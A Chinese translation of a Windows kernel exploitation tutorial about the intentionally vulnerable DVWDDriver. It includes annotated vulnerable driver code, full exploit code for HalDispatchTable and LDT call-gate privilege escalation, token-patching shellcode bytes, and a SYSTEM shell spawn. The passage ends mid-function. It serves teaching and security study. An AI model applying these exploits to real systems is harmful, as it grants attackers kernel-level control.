<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/6225

            來源: http://poppopret.blogspot.com/2011/06/windows-kernel-exploitation-part-1.html

            0x00 概述


            1.WTFBBQ?


            由于現代Windows操作系統的多種緩解技術(ASLR,DEP,SafeSEH,SEHOP,/GS...),用戶態的軟件變得越來越難以利用.在安全社區,驅動安全問題變得越來越受關注。

            這個系列的文章中,我試圖共享在windows系統上關于內核利用的探索結果.因為在網上關于這個話題的文檔不是很多-不是很容易理解-我已經發現發表這些文章對于像我這樣的新手來說是有幫助的.當然,這些文章中的錯誤歡迎在評論中指出.

            實際上,在閱讀完 "A guide to Kernel Exploitation" (1]這本書中關于windows的章節后我已決定研究這個驅動(作者用于闡明在驅動中最為經典的弱點和利用這些弱點的方法).這個驅動稱為DVWDDriver- Damn Vulnerable Windows Driver的縮寫-且可以在該地址上獲取該章節.說實話,僅通過閱讀這本書而沒有查看源代碼中的細節和一些附加paper,并不能得到書中所有的”干貨”.這就是我寫這些文章的原因.

            在這篇文章中,我將描述驅動及其弱點,在下一篇文章中我將試圖共享我們利用那些弱點的相關理解.當然,我將不會虛構任何東西,并且所有描述的東西都是基于可獲取的文檔的.這一系列的文章的目的是給出不同利用方法的全局概要并提供帶有注釋的源代碼的技術細節

            2.Damn Vulnerable Windows Driver –陳述 DVWDDriver可以控制三種不同的IOCTL(I/O Control Code):

            用DvwdHandleIoctlStore() (將調用TriggerStore()函數)處理第一種IOCTL.基本上, ProbeForRead() 函數會檢查結構體(包含buffer及其大小)是否指向用戶態的內存地址({buffer, size}).然后它調用SetSavedData()函數(目的是將buffer的內容復制進全局結構體的buffer中(當然這位于內核態).在進行復制操作之前,函數再次使用ProbeForRead()例程,但這次是在緩沖區指針上使用.使用它是為檢查buffer是否也位于用戶態中.

            DvwdHandleIoctlOverwrite()函數處理第二個IOCTL,這將調用TriggerOverwrite()函數.TriggerStore()用同樣的方式,這個函數檢查傳遞到參數中({buffer, size })的結構體指針是否指向一個用戶態的地址(address<=0x7FFFFFFF).然后,它調用GetSavedData()函數(為了將含有全局結構體的buffer復制到被傳遞到參數中的結構體的buffer中.然而,這里沒有做附加檢查(以確認目標buffer是否位于用戶態).

            enter image description here

            前兩個IOCTL允許利用Arbitrary Memory Overwrite弱點,且將在下一幅圖中明白其中的原因:

            DvwdHandleIoctlStackOverflow()處理第三個IOCTL,這將調用弱點函數TriggerOverflow(),我們將看到這個函數具有基于棧的緩沖區溢出弱點

            enter image description here

            3.第一種弱點:覆蓋任意內存


            我們已經看到GetSavedData()函數不會檢查目標buffer(以參數的形式接收)的指針是否在用戶態.函數將這個存儲在全局結構體中的數據復制進該buffer中.問題是用戶不檢查用戶控制的指針.所以,如果用戶態的進程指定一個任意值-如一個位于內核態中的地址-函數最終覆蓋任意內核內存范圍內的值.且因為它可能寫入到KMD的全局結構體的buffer中(有了 DEVICEIO_DVWD_STORE IOCTL ),我們可以在我們想要的地址上寫入任意數量的數據.這被稱為Arbitrary Memory Overwrite 弱點或 write-what-where 弱點.

            這是一個注釋過的弱點函數的源代碼:

            #!c++
            //=============================================================================
            //          Part of the KMD vulnerable to Arbitrary overwrite
            //=============================================================================
            
            #define GLOBAL_SIZE_MAX 0x100
            
            UCHAR GlobalBuffer[GLOBAL_SIZE_MAX];
            ARBITRARY_OVERWRITE_STRUCT GlobalOverwriteStruct = {&GlobalBuffer, 0};
            
            // Copy the content located at GlobalOverwriteStruct.StorePtr to 
            // overwriteStruct->StorePtr (No check is performed to ensured that
            // it points to userland !!!)
            VOID GetSavedData(PARBITRARY_OVERWRITE_STRUCT overwriteStruct) {
            
             ULONG size = overwriteStruct->Size;
             PAGED_CODE();
            
             if(size > GlobalOverwriteStruct.Size)
              size = GlobalOverwriteStruct.Size; 
            
             // ---- VULNERABILITY ------------------------------------------------------
             RtlCopyMemory(overwriteStruct->StorePtr, GlobalOverwriteStruct.StorePtr, size);
             // -------------------------------------------------------------------------
            }
            
            // Copy a buffer located into kernel memory into a userland buffer
            // 
            // stream is a pointer that should address a userland structure 
            // type ARBITRARY_OVERWRITE_STRUCT
            NTSTATUS TriggerOverwrite(UCHAR *stream) {
            
             ARBITRARY_OVERWRITE_STRUCT overwriteStruct;
             NTSTATUS NtStatus = STATUS_SUCCESS; 
             PAGED_CODE();
            
             __try {
              // Initialize a ARBITRARY_OVERWRITE_STRUCT structure (in kernel land)
              RtlZeroMemory(&overwriteStruct, sizeof(ARBITRARY_OVERWRITE_STRUCT));
            
              // Check if the pointer given in parameter is located in userland 
              // (if it's not the case, an exception is triggered)
              ProbeForRead(stream, sizeof(ARBITRARY_OVERWRITE_STRUCT), TYPE_ALIGNMENT(char));
            
              // Copy the ARBITRARY_OVERWRITE_STRUCT from userland to the newly 
              // initialized structure located in kernel land
              RtlCopyMemory(&overwriteStruct, stream, sizeof(ARBITRARY_OVERWRITE_STRUCT));
            
              // Call the vulnerable function
              GetSavedData(&overwriteStruct);
             }
             __except(ExceptionFilter()) {
              NtStatus = GetExceptionCode();
              DbgPrint("[!!] Exception Triggered: Handler body: Exception Code: %d\r\n", NtStatus);   
             }
            
             return NtStatus;                                      
            }
            

            在下篇文章中我們將看到利用這種弱點的方法.

            4. 第二種弱點:基于棧的緩沖區溢出


            TriggerOverflow()函數僅檢查buffer是否接收用戶態的參數,是否將用戶態的參數復制進本地buffer.本地buffer僅64字節長.顯然這是種典型的緩沖區溢出弱點,因為這里沒檢查源buffer的大小。好吧,它發生在內核態,所以不算太經典.

            #!c++
            //=============================================================================
            //          Part of the KMD vulnerable to Stack Overflow
            //=============================================================================
            
            #define LOCAL_BUFF 64
            
            NTSTATUS __declspec(dllexport) TriggerOverflow(UCHAR *stream, UINT32 len) {
             char buf[LOCAL_BUFF];
             NTSTATUS NtStatus = STATUS_SUCCESS; 
             PAGED_CODE();  
            
             __try {
              // Check if stream points to userland
              ProbeForRead(stream, len, TYPE_ALIGNMENT(char));
            
              // ---- VULNERABILITY --------------------------------------------------
              RtlCopyMemory(buf, stream, len);
              // ---------------------------------------------------------------------
             } 
             __except(ExceptionFilter()) {
              NtStatus = GetExceptionCode();
              DbgPrint("[!!] Exception Triggered: Handler body: Exception Code: %d\\r\n", NtStatus);   
             }
            
             return NtStatus;
            
            }
            

            5. 測試平臺


            下篇文章將在Windows Server 2003 SP2(32-bit)上展示利用技術

            為了快速加載驅動這里使用“OSR DriverLoader”工具(下載地址: http://bbs.pediy.com/showthread.php?t=100473&highlight=osr+loader)

            enter image description here

            引用 0x00

            (1] A Guide to Kernel Exploitation (Attacking the Core), by Enrico Perla & Massimiliano Oldani http://www.attackingthecore.com

            (2] ProbeForRead() 例程 http://msdn.microsoft.com/en-us/library/ff559876(VS.85).aspx

            (3] OSR Driver Loader 下載 http://bbs.pediy.com/showthread.php?t=100473&highlight=osr+loader

            0x01 使用HalDispatchTable利用任意內存覆蓋弱點


            在這篇文章中我們將看到在DVWDDriver中利用write-what-where弱點的方法的相關陳述.該方法是覆蓋某個內核調度表中的一個指針.內核使用這種表存儲多種指針.某種表的例子:

            這里我們將改寫HalDispatchTable()中一個特定的指針.讓我們看看這樣做的原因及其方法吧

            1. NtQueryIntervalProfile()和HalDispatchTable


            NtQueryIntervalProfile()和HalDispatchTable根據(3],NtQueryIntervalProfile()是ntdll.dll中導出的未公開的系統調用.它調用內核可執行程序ntosknl.exe導出的KeQueryIntervalProfile()函數.如果我們反匯編那個函數,我們可看到如下:

            enter image description here

            因此位于nt!HalDispatchTable+0x4地址上的例程調用完成(看紅色方框).所以如果我們覆蓋那個地址上的指針-也就是說HalDispatchTable中的第二個指針-帶有我們shellcode地址;然后我們調用函數NtQueryIntervalProfile(),將執行我們的 shellcode.

            2.利用方法論


            筆記: 驅動使用的GlobalOverwriteStruct是全局結構體,它用于存儲buffer及它的大小.

            為利用Arbitrary Memory Overwrite弱點,基本的想法是:

            1.使用DVWDDriver的IOCTL DEVICOIO_DVWD_STORE:為把我們的shellcode地址存儲進GlobalOverwriteStruct結構體(內核態)的buffer.記住我們傳遞到參數的地址必須位于用戶內存地址空間(address<=0x7FFFFFFF),因為這是在IOCTL句柄中使用函數ProbeForRead()完成檢查的.好吧,沒問題,我們僅是把一個指針傳遞到我們的shellcode(當然,它指向用戶態)!因此,傳遞到驅動的結構體含有這個指針且buffer的大小為4字節.

            2.然后,使用DVWDDriver的IOCTL DEVICOIO_DVWD_OVERWRITE是為了將內容寫入buffer(地址位于被存儲進GlobalOverwriteStruct的buffer)-也就是說之前添加的shellcode地址-被傳遞進參數的地址.記住這時,在IOCTL句柄中沒有進行檢查,所以這個地址可以是任意位置,不管是在用戶態還是內核態.因此,我們將傳遞在HalDispatchTable中第二個入口地址,當然,這在內核態.

            3.所以綜上所述,我們濫用IOCTL DEVICOIO_DVWD_OVERWRITE是為了寫我們想要的what及我們想要的where:

            要利用這些類型和的弱點,重點是需要理解控制那兩個構成成分 NB:這里我們可覆蓋完整的地址(4字節 )但是案例中只能覆蓋1字節.在這樣的情節中,需要用一個在用戶態的地址覆蓋Most Significant Byte 的第二個入口的HalpatchTable:例如,我們可占用0x01.然后,需要把NOP sled放在0x01000000-0x02000000 (標記為 RWX的內存區域)范圍內(在末尾帶有跳轉到我們shellcode的指令).

            hey..等等!我必須討論下我們使用的shellcode

            3. shellcoding…patch我們的訪問令牌并回到ring 3層


            這并非像我們在內核態中利用某個軟件那樣,這里我們將在內核態中執行shellcode且并不能犯任何錯誤否則我們將面臨藍屏.通常在內核中本地利用,在ring0我們擁有特權用 NT AUTHORITY\SYSTEM 的SID patch 當前進程的訪問令牌來改變User SID.然后我們盡可能快地回到ring3接著彈出shell。

            在windows中,訪問令牌(或僅被稱為Token)被使用于描述一個進程或線程的上下文安全.特別地,它存儲User SID,Groups SIDs和一個特權列表.基于這些信息,內核可決定被要求的行為是否被授權(訪問控制).在用戶空間中,在一個令牌上可能得到一個句柄.更多關于句柄的信息會在(4]中給出.這是用于描述一個訪問令牌的structure _TOKEN細節:

            #!c++
            kd> dt nt!_token
               +0x000 TokenSource      : _TOKEN_SOURCE
               +0x010 TokenId          : _LUID
               +0x018 AuthenticationId : _LUID
               +0x020 ParentTokenId    : _LUID
               +0x028 ExpirationTime   : _LARGE_INTEGER
               +0x030 TokenLock        : Ptr32 _ERESOURCE
               +0x038 AuditPolicy      : _SEP_AUDIT_POLICY
               +0x040 ModifiedId       : _LUID
               +0x048 SessionId        : Uint4B
               +0x04c UserAndGroupCount : Uint4B
               +0x050 RestrictedSidCount : Uint4B
               +0x054 PrivilegeCount   : Uint4B
               +0x058 VariableLength   : Uint4B
               +0x05c DynamicCharged   : Uint4B
               +0x060 DynamicAvailable : Uint4B
               +0x064 DefaultOwnerIndex : Uint4B
               +0x068 UserAndGroups    : Ptr32 _SID_AND_ATTRIBUTES
               +0x06c RestrictedSids   : Ptr32 _SID_AND_ATTRIBUTES
               +0x070 PrimaryGroup     : Ptr32 Void
               +0x074 Privileges       : Ptr32 _LUID_AND_ATTRIBUTES
               +0x078 DynamicPart      : Ptr32 Uint4B
               +0x07c DefaultDacl      : Ptr32 _ACL
               +0x080 TokenType        : _TOKEN_TYPE
               +0x084 ImpersonationLevel : _SECURITY_IMPERSONATION_LEVEL
               +0x088 TokenFlags       : UChar
               +0x089 TokenInUse       : UChar
               +0x08c ProxyData        : Ptr32 _SECURITY_TOKEN_PROXY_DATA
               +0x090 AuditData        : Ptr32 _SECURITY_TOKEN_AUDIT_DATA
               +0x094 LogonSession     : Ptr32 _SEP_LOGON_SESSION_REFERENCES
               +0x098 OriginatingLogonSession : _LUID
               +0x0a0 VariablePart     : Uint4B
            

            SIDs的指針列表被存儲進UserAndGroups(顯示_SID_AND_ATTRIBUTES).我們可檢索Token中包含的信息,如下所示:

            #!c++
            kd> !process 0004
            Searching for Process with Cid == 4
            Cid handle table at e1ed7000 with 428 entries in use
            
            PROCESS 827a6648  SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
                DirBase: 00587000  ObjectTable: e1000c60  HandleCount: 388.
                Image: System
                VadRoot 82337238 Vads 4 Clone 0 Private 3. Modified 5664. Locked 0.
                DeviceMap e1001070
                Token                             e1001720
                ElapsedTime                       00:37:34.750
                UserTime                          00:00:00.000
                KernelTime                        00:00:01.578
                QuotaPoolUsage[PagedPool]         0
                QuotaPoolUsage[NonPagedPool]      0
                Working Set Sizes (now,min,max)  (43, 0, 345) (172KB, 0KB, 1380KB)
                PeakWorkingSetSize                526
                VirtualSize                       1 Mb
                PeakVirtualSize                   2 Mb
                PageFaultCount                    4829
                MemoryPriority                    BACKGROUND
                BasePriority                      8
                CommitCharge                      8
            
            kd> !token e1001720
            _TOKEN e1001720
            TS Session ID: 0
            User: S-1-5-18
            Groups:
             00 S-1-5-32-544
                Attributes - Default Enabled Owner
             01 S-1-1-0
                Attributes - Mandatory Default Enabled
             02 S-1-5-11
                Attributes - Mandatory Default Enabled
            Primary Group: S-1-5-18
            Privs:
             00 0x000000007 SeTcbPrivilege                    Attributes - Enabled Default
             01 0x000000002 SeCreateTokenPrivilege            Attributes -
             02 0x000000009 SeTakeOwnershipPrivilege          Attributes -
            [...]
            

            當然這想法通常是用內建 NT AUTHORITY\SYSTEM SID (S-1-5-18)指針替換所有者的SID的進程指針.我們也會用group BUILTIN\Administrators SID (S-1-5-32-544)patch group BUILTIN\Users SID (S-1-5-32-545) 源碼在Shellcode32.c文件中(從DVWDDriver提取).我已經添加了許多注釋以讓它變得更容易理解.

            4. 總結…


            在利用階段中這是我們需要做到的:

            1. 為得到HalDispatchTable的偏移,可在用戶態中加載內核可執行程序ntokrnl.exe.然后推算出它在內核態中的地址.
            2. 檢索我們shellcode的地址.這通常是被用于patch 訪問令牌的函數地址.但值得注意的是HalDispatchTable中被覆蓋的指針(通常指向一個函數)將會用到4個參數(在4個值在被壓入棧前: call dword ptr [nt!HalDispatchTable+0x4]).所以,我們使用一段帶有4個參數的函數的shellcode,僅是因為兼容性。
            3. 在ntdll.dll中檢索NtQueryIntervalProfile()系統調用的地址
            4. 用我們的shellcode函數地址覆蓋 nt!HalDispatchTable+0x4的指針.是的一個帶有4個參數的指針(patch 進程的令牌).這將通過連續兩次調用callingDeviceIoControl() 發送2次IOCTL:DEVICOIO_DVWD_STORE 和 thenDEVICOIO_DVWD_OVERWRITE來完成,這在圖2中解釋了.
            5. 為觸發shellcode調用函數NtQueryIntervalProfile().
            6. 當然..這時進程正在System用戶下運行,因此我們可彈出shell或做一些其它我們想做的!

            下圖是由(2]中給出的全局概要:

            enter image description here

            5.利用代碼


            這是DVWDDriver作者開發的利用代碼.當我讀完那些代碼時,我已經添加了許多注釋以確保完全理解它們.隨著上一次利用的進行,這應該變得更容易理解,這里沒有什么需要注意的了=)

            #!c++
            // ----------------------------------------------------------------------------
            // Arbitrary Memory Overwrite exploitation ------------------------------------
            // ---- HalDispatchTable pointer overwrite method -----------------------------
            // ----------------------------------------------------------------------------
            
            
            // Overwrite kernel dispatch table HalDispatchTable's second entry:
            //  - STORE the address of the shellcode (pointer in kernelland, points to userland)
            //  - OVERWRITE the second pointer in the HalDispatchTable with the address of the shellcode
            BOOL OverwriteHalDispatchTable(ULONG_PTR HalDispatchTableTarget, ULONG_PTR ShellcodeAddrStorage) {
            
             HANDLE hFile;
             BOOL ret;
             DWORD dwReturn;
             ARBITRARY_OVERWRITE_STRUCT overwrite;
            
             // Open handle to the driver
             hFile = CreateFile(L"\\\\.\\DVWD", 
                    GENERIC_READ | GENERIC_WRITE, FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE, 
                    NULL, 
                    OPEN_EXISTING, 
                    0, 
                    NULL);
            
             if(hFile != INVALID_HANDLE_VALUE) {
            
              // DEVICEIO_DVWD_STORE
              // -> store the address of the shellcode into kernelland (GlobalOverwriteStruct) 
              overwrite.Size = 4;
              overwrite.StorePtr = (PVOID)&ShellcodeAddrStorage;
              ret = DeviceIoControl(hFile, DEVICEIO_DVWD_STORE, &overwrite, 0, NULL, 0, &dwReturn, NULL);
            
              // DEVICEIO_DVWD_OVERWRITE 
              // -> copy the content of the buffer in kernelland (the address previously added)
              // to the location HalDispatchTableTarget (second entry in the HalDispatchTable)
              overwrite.Size = 4;
              overwrite.StorePtr = (PVOID)HalDispatchTableTarget;
              ret = DeviceIoControl(hFile, DEVICEIO_DVWD_OVERWRITE, &overwrite, 0, NULL, 0, &dwReturn, NULL);
            
              CloseHandle(hFile);
            
              return TRUE;
             }
            
             return FALSE;  
            }
            
            
            
            typedef NTSTATUS (__stdcall *_NtQueryIntervalProfile)(DWORD ProfileSource, PULONG Interval);
            BOOL TriggerOverwrite32_NtQueryIntervalProfileWay() {
            
             ULONG dummy = 0;
             ULONG_PTR HalDispatchTableTarget;
             ULONG_PTR ShellcodeAddrStorage; 
            
             _NtQueryIntervalProfile NtQueryIntervalProfile;
            
             // Load the Kernel Executive ntoskrnl.exe in userland and get some symbol's kernel address
             if(LoadAndGetKernelBase() == FALSE) {
              return FALSE;
             }
            
             // Retrieve the address of the shellcode
             ShellcodeAddrStorage = (ULONG_PTR)UserShellcodeSIDListPatchUser4Args;
            
             // Retrieve the address of the second entry within the HalDispatchTable
             HalDispatchTableTarget = HalDispatchTable + sizeof(ULONG_PTR);
            
             // Retrieve the address of the syscall NtQueryIntervalProfile within ntdll.dll
             NtQueryIntervalProfile  = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryIntervalProfile");
            
             // Overwrite the pointer in HalDispatchTable
             if(OverwriteHalDispatchTable(HalDispatchTableTarget, ShellcodeAddrStorage) == FALSE) {
              return FALSE;
             }
            
             // Call the function in order to launch our shellcode
             // kd> u nt!KeQueryIntervalProfile
             NtQueryIntervalProfile(2, &dummy);
            
             if (CreateChild(_T("C:\\WINDOWS\\SYSTEM32\\CMD.EXE")) != TRUE) {
              wprintf(L"Error: unable to spawn process, Error: %d\n", GetLastError());
              return FALSE;
             }
            
             return TRUE;
            }
            

            6. w00t ?


            接著試圖利用

            DVWDExploit.exe --exploit-overwrite-profile-32
            

            enter image description here

            引用 0x01


            (1] SSDT Uninformed article http://uninformed.org/index.cgi?v=8&a=2&p=10

            (2] Exploiting Common Flaws in Drivers, by Ruben Santamarta http://reversemode.com/index.php?option=com_content&task=view&id=38&Itemid=1

            (3] NtQueryIntervalProfile(), http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Profile/NtQueryIntervalProfile.html

            (4] Windows Internals, book by Mark Russinovich & David Salomon

            0x02 通過LDT利用Arbitrary Memory Overwrite弱點


            在上篇文章中我們明白了在DVWDDriver(基于覆蓋位于內核調度表HalDispatchTable的一個指針)中write-what-where 弱點的一種利用方法.這種技術依賴于未公開的系統調用,也因此出現了一個技術上的問題(在下次系統更新后是否還存在這個系統調用),此外,新的技術細節將在這篇文章中(基于硬件特殊結構體GDT和LDT,它們在不同的windows版本中也仍然保持相同的特性)講到.

            首先,需要GDT和LDT的背景知識,因此我們將用到Intel 手冊=)

            1. Windows GDT and LDT


            根據Intel 手冊(2],分段是用段選擇子(16-位值)實現的,通常,一個邏輯地址組成如下:

            這是段和頁機制的全局概要(邏輯地址—>線性地址->物理地址):

            enter image description here

            上圖展示了邏輯地址被轉換成線性地址的過程(因為有分段).然后我們可看到頁機制.基本上,它由線性地址轉換成物理地址組成.這通常是一種沒用的Intel特性.線性地址==物理地址.windows使用頁機制,所以線性地址僅是另一種分割成三個成分的結構.為得到物理地址那些成分的值被當做數組中的偏移來使用

            無論如何,我們可看到段選擇子引用一個表中的入口且在線性地址空間中這個入口通常描述一個段(段描述符):這個表是GDT.好的,但是它是如何工作的呢,LDT呢?讓我們回頭看看Intel手冊..

            我們學習的GDT(全局描述符表)和(局部描述符表)是兩種段描述符表.我們也可看看這個直觀圖:

            enter image description here

            在每個系統啟動時,必須創建一個GDT.整個系統的每個處理器有一個單一的GDT(是稱為”“全局”表的原因)并在系統上可與所有任務共享.雖然LDT可被一個單一任務或一組相互之間有關系的任務使用.但它可有可無;一個LDT被定義為一個單一的GDT入口(特別是對一個進程而言),意味著在進程上下文切換期間,入口被替代成GDT.

            為了給出更多細節,GDT一般含有:

            默認,一個新進程沒有任何被定義的LDT,然而如果進程發送一個創建它的命令,它將可被分配.如果一個進程有一個相應的LDT,那么如下所示在LdtDescriptorfield(內核結構體_KPROCESS對應進程的)中將會找到一個指針.

            #!c++
            kd> dt nt!_kprocess
               +0x000 Header           : _DISPATCHER_HEADER
               +0x010 ProfileListHead  : _LIST_ENTRY
               +0x018 DirectoryTableBase : [2] Uint4B
               +0x020 LdtDescriptor    : _KGDTENTRY
               +0x028 Int21Descriptor  : _KIDTENTRY
               [...]
            

            2. Call-Gate


            Call-Gate允許訪問帶有不同特權級的代碼段,” Call-Gate”促進控制程序控制在不同特權級之間的傳輸.它們通常僅被使用于操作系統或可執行程序(使用特權機制).

            Call-Gate是一種GDT或LDT的入口.它是特殊描述符的一種(被稱為Call-Gate描述符).它的大小和段描述符相同(8字節),但是一些成分沒有以相同的方式劃分.下圖出自(1]且清晰地展示了不同點:

            enter image description here

            事實上,Call-Gate對跳轉到不同段或不同特權級的運行(ring)來說是有用的.當調用Call-Gate時,將會做如下工作:

            1. 處理器訪問Call-Gate描述符,
            2. 通過使用包含Call-Gate的段選擇子來定位我們最終想要訪問的代碼段描述符,
            3. 它檢索代碼段描述符的基地址并用其加上Call-Gate描述符的偏移值
            4. 得到想要獲取的代碼的線性地址(代碼段描述符的線性地址 = 基地址 +偏移值)

            enter image description here

            文章(4]解釋了我們添加Call-Gate(允許我們在ring0到ring3中運行代碼)的方法. 所以,我將不會重復一些在好文章中陳述過的東西,但這只陳述對我們來說即將有用的東西:

            After that, we need to know how to call our Call-Gate...

            之后,我們需要知道調用我們Call-Gate的方法..

            首先我們將使用x86指令FAR CALL(0x9A).這與一般的CALL不同,因為我們必須指定一個偏移(32-位)AND一個段選擇子(16-位),在我們的案例中,我們僅需為段選擇子放置正確的值,且我們必須離開在0x00000000上的索引.當然,這里我們使用了兩次調用;第一次調用是為了到Call-Gate描述符然后Call-Gate描述符指向我們想要執行的代碼.讓我們看看創建段選擇子的方法:

            enter image description here

            所以: * 位0,1:我們從用戶態中調用Call-Gate,因此我們將把值11(對于ring3來說,十進制為值3)放置于此. * 位2:將值設為1因為我們將把Call-Gate描述符置于LDT中; * 位3..15:這是GDT/LDT中的索引.我們將Call-Gate放在LDT中的首位,因此我們在這將值設為0.

            3.利用方法論


            現在我們已介紹完關于GDT和LDT的相關知識.我們可開始介紹利用方面的知識.

            基本上,利用是由一個創建的新LDT構成.然后,我們把新入口添加到LDT中-僅是一個入口- 一個Call-Gate描述符(在解釋它之前這已放置了正確的值).

            接著為了用偽造的LDT描述符覆蓋LDT描述符,我們需要用到write-what-where弱點

            構體的入口(內核用于存儲關于特定進程信息的結構體).因此我們可以通過檢索_KPROCESS(==_KPROCESS的地址)得到我們想要寫入的位置并將其加上恰當的偏移值(windowsServer 2003 SP2中為0x20).

            最后,我們可以在當前進程LDT的第一(且僅有)入口上通過FAR CALL調用我們的Call-Gate.這將允許其跳轉到我們的shellcode.

            4. Shellcoding


            好了我們已經明白利用是如何工作的了.我們將重用在上一篇文章中使用過的shellcode(關于利用帶有write-what-where弱點的HalDispatchTable).但是這里有一個問題..在我們的payload執行之后我們需要從Call-Gate返回.一個FAR CALL將會跳轉到Call-Gate,也就是說EIP指向的段將會改變,因此在執行之后我們需要一個FAR RET(0xCB).通過這樣做我們可以跳轉到我們利用中的下一條指令. 無論如何,重點是記住在內核態而不是用戶態中指向KPCR(內核處理程序控制區域)的FS段描述符(它指向TEB結構體(線程執行塊)).事實上:

            ? 在內核態中,FS=0x30 ? 在用戶態中,FS=0x3B

            因此,在內核態中,在執行我們的shellcode之前,必須把FS設為0x30,然后在返回之后將其置為0x3B 前兩個原因DVWDExploit的作者已經用ASM寫了一個wrapper(ReturnFromGate)來實現那些操作.這是該wrapper的地址(必須被放置到Call-Gate描述符的偏移范圍內).

            5.利用細節


            好的,我們已經徹底理解這個利用的細節.這是它的工作流程:

            1. 檢索在內核態中被執行的payload地址(命名為KernelPayload),那表明是patch 當前進程的Access Token的代碼
            2. 檢索_KPROCESS結構體的地址
            3. 檢索GDT中LDT描述符的地址(定位于_KPROCESS+偏移(0x20))
            4. 在ntdll.dll內使用ZwSetInformationProcess()系統調用創建一個新的LDT.該工作由稱為SetLDTEnv()的函數完成.
            5. 將KernelPayload的地址放到wrapper,ReturnFromGate將可以從它那里調用shellcode,然后將這個wrapper放入可執行內存.
            6. 用稱為PrepareCallGate32()的函數創建Call-Gate描述符.當然,為了在ring0到ring3之間執行代碼,我們已經明白恰當填充Call-Gate區域的方法.
            7. 可以用PrepareLDTDescriptor32()函數創建LDT描述符(對應上一個被創建的LDT)
            8. 通過使用弱點,將之前創建的一個對應的偽造LDT覆蓋GDT中的LDT描述符: ? 利用DVWDDriver的IOCTL DEVICEIO_DVWD_STORE把新的LDT描述符存儲進GlobalOverwriteStruct ? 編寫新的LDT描述符- 在GlobalOverwriteStruct中-位于GDT中的現存LDT描述符,謝謝 DVWDDriver的 IOCTL DEVICEIO_DVWD_OVERWRITE
            9. 然后我們需要強制進行一個進程的上下文切換.事實上,GDT中的LDT段描述符僅在上下文切換后更新.為了達到目的我們僅需要休息一段時間.
            10. 最后使我們的FAR CALL通向Call-Gate.那將觸發wrapper的執行且在內核態中執行我們的shellcode
            11. 從我們的shellcode返回時,正在運行的進程SID = NT AUTHORITY\SYSTEM,這時我們可以做任何我們想做的! 一幅圖或許可以幫助理解... =)

            enter image description here

            6.利用代碼


            #!c++
            Here is a code snippet from DVWDExploit with many comments I've added. 
            // ----------------------------------------------------------------------------
            // Arbitrary Memory Overwrite exploitation ------------------------------------
            // ---- Method using LDT  -----------------------------------------------------
            // ----------------------------------------------------------------------------
            
            
            typedef NTSTATUS (WINAPI *_ZwSetInformationProcess)(HANDLE ProcessHandle, 
                                   PROCESS_INFORMATION_CLASS ProcessInformationClass,  
                                   PPROCESS_LDT_INFORMATION ProcessInformation,
                                   ULONG ProcessInformationLength);    
            
            // Fill the Call-Gate Descriptor -------------------------------------------------
            VOID PrepareCallGate32(PCALL_GATE32 pGate, PVOID Payload) {
            
             ULONG_PTR IPayload = (ULONG_PTR)Payload;
            
             RtlZeroMemory(pGate, sizeof(CALL_GATE32));
            
             pGate->Fields.OffsetHigh   = (IPayload & 0xFFFF0000) >> 16;
             pGate->Fields.OffsetLow    = (IPayload & 0x0000FFFF);
             pGate->Fields.Type     = 12;   // Gate Descriptor
             pGate->Fields.Param    = 0;
             pGate->Fields.Present    = 1;
             pGate->Fields.SegmentSelector  = 1 << 3;  // Kernel Code Segment Selector
             pGate->Fields.Dpl     = 3;
            }
            
            // Setup the LDT descriptor ------------------------------------------------------
            VOID PrepareLDTDescriptor32(PLDT_ENTRY pLDTDesc, PVOID LDTBasePtr) {
            
             ULONG_PTR LDTBase = (ULONG_PTR)LDTBasePtr;
            
             RtlZeroMemory(pLDTDesc, sizeof(LDT_ENTRY));
            
             pLDTDesc->BaseLow     = LDTBase & 0x0000FFFF;
             pLDTDesc->LimitLow     = 0xFFFF;
             pLDTDesc->HighWord.Bits.BaseHi  = (LDTBase & 0xFF000000) >> 24;
             pLDTDesc->HighWord.Bits.BaseMid = (LDTBase & 0x00FF0000) >> 16;
             pLDTDesc->HighWord.Bits.Type = 2;
             pLDTDesc->HighWord.Bits.Pres  = 1;
            }
            
            
            // Assembly wrapper to the payload to be able to return from the Call-Gate ------
            // (using a FAR RET)
            #define OFFSET_SHELLCODE 18
            CHAR ReturnFromGate[]="\x90\x90\x90\x90\x90\x90\x90\x90"
                   "\x60"                  // pushad       save general purpose registers
                   "\x0F\xA0"              // push  fs     save FS segment register
                   "\x66\xB8\x30\x00"      // mov  ax, 30h   
                   // FS value is different between userland (0x3B) and kernelland (0x30)
                   "\x8E\xE0"              // mov  fs, ax     
                   "\xB8\x41\x41\x41\x41"  // mov  eax, @Shellcode  invoke the payload
                   "\xFF\xD0"              // call  eax  
                   "\x0F\xA1"              // pop   fs     restore general purpose registers
                   "\x61"                  // popad        restore FS segment register
                   "\xcb";                 // retf       far ret
            
            
            // Assembly code that executes a CALL to 0007:00000000 ----------------------------
            // (Segment selector: 0x0007, offset address: 0x00000000)
            // 16-bit segment selector:
            // [ 13-bit index into GDT/LDT ][0=descriptor in GDT/1=descriptor in LDT]
            // [Requested Privilege Level: 00=ring0/11=ring3]
            // => 0007 means: index 0 into GDT (first entry), descriptor in LDT, ring3
            VOID FarCall() {
             __asm { 
               _emit 0x9A
               _emit 0x00
               _emit 0x00
               _emit 0x00
               _emit 0x00
               _emit 0x07
               _emit 0x00
             }
            }
            
            // Use the vulnerability to overwrite the LDT Descriptor into GDT ------------------
            BOOL OverwriteGDTEntry(ULONG64 LDTDesc, PVOID *KGDTEntry) {
            
             HANDLE hFile;
             ARBITRARY_OVERWRITE_STRUCT overwrite;
             ULONG64 storage = LDTDesc;
             BOOL ret;
             DWORD dwReturn;
            
             hFile = CreateFile(L"\\\\.\\DVWD", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);
            
             if(hFile != INVALID_HANDLE_VALUE) {
              overwrite.Size = 8;
              overwrite.StorePtr = (PVOID)&storage;
              ret = DeviceIoControl(hFile, DEVICEIO_DVWD_STORE, &overwrite, 0, NULL, 0, &dwReturn, NULL);
            
              overwrite.Size = 8;
